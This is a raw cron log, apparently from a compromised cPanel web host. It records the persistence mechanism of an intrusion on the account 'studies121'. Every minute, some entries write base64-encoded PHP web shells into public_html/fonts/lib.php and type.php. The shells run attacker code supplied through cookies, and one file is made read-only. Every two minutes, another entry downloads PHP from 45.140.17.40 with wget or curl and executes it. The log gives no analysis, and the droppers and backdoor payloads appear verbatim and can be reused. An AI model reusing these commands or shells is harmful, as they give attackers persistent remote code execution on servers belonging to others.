Sep 12 08:55:01 ip-184-168-122-23 CROND[30096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:56:01 ip-184-168-122-23 CROND[30180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:56:01 ip-184-168-122-23 CROND[30182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:56:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:56:01 ip-184-168-122-23 CROND[30185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:56:01 ip-184-168-122-23 CROND[30184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:57:01 ip-184-168-122-23 CROND[30279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:57:01 ip-184-168-122-23 CROND[30281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:57:01 ip-184-168-122-23 CROND[30283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:57:01 ip-184-168-122-23 CROND[30284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:58:01 ip-184-168-122-23 CROND[30370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:58:01 ip-184-168-122-23 CROND[30372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:58:01 ip-184-168-122-23 CROND[30373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:58:01 ip-184-168-122-23 CROND[30375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:58:01 ip-184-168-122-23 CROND[30374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:59:01 ip-184-168-122-23 CROND[30512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:59:01 ip-184-168-122-23 CROND[30513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:59:01 ip-184-168-122-23 CROND[30514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:59:01 ip-184-168-122-23 CROND[30515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:00:01 ip-184-168-122-23 CROND[30701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:00:01 ip-184-168-122-23 CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:00:01 ip-184-168-122-23 CROND[30702]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 12 09:01:01 ip-184-168-122-23 CROND[30823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:01:01 ip-184-168-122-23 CROND[30825]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 09:01:01 ip-184-168-122-23 CROND[30828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:01:01 ip-184-168-122-23 CROND[30826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:01:01 ip-184-168-122-23 CROND[30827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:01:01 ip-184-168-122-23 CROND[30831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30825]: starting 0anacron
Sep 12 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30844]: finished 0anacron
Sep 12 09:02:01 ip-184-168-122-23 CROND[30999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:02:01 ip-184-168-122-23 CROND[31001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:02:01 ip-184-168-122-23 CROND[31003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:02:01 ip-184-168-122-23 CROND[31002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:02:01 ip-184-168-122-23 CROND[31004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:03:01 ip-184-168-122-23 CROND[31092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:03:01 ip-184-168-122-23 CROND[31093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:03:01 ip-184-168-122-23 CROND[31094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:03:01 ip-184-168-122-23 CROND[31095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:04:01 ip-184-168-122-23 CROND[31179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:04:01 ip-184-168-122-23 CROND[31181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:04:01 ip-184-168-122-23 CROND[31182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:04:01 ip-184-168-122-23 CROND[31185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:04:01 ip-184-168-122-23 CROND[31184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:05:01 ip-184-168-122-23 CROND[31379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:05:01 ip-184-168-122-23 CROND[31381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:05:01 ip-184-168-122-23 CROND[31382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:05:01 ip-184-168-122-23 CROND[31383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:05:01 ip-184-168-122-23 CROND[31384]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:05:01 ip-184-168-122-23 CROND[31386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:05:01 ip-184-168-122-23 CROND[31385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:06:01 ip-184-168-122-23 CROND[31508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:06:01 ip-184-168-122-23 CROND[31510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:06:01 ip-184-168-122-23 CROND[31512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:06:01 ip-184-168-122-23 CROND[31511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:06:01 ip-184-168-122-23 CROND[31513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:07:01 ip-184-168-122-23 CROND[31627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:07:01 ip-184-168-122-23 CROND[31629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:07:01 ip-184-168-122-23 CROND[31628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
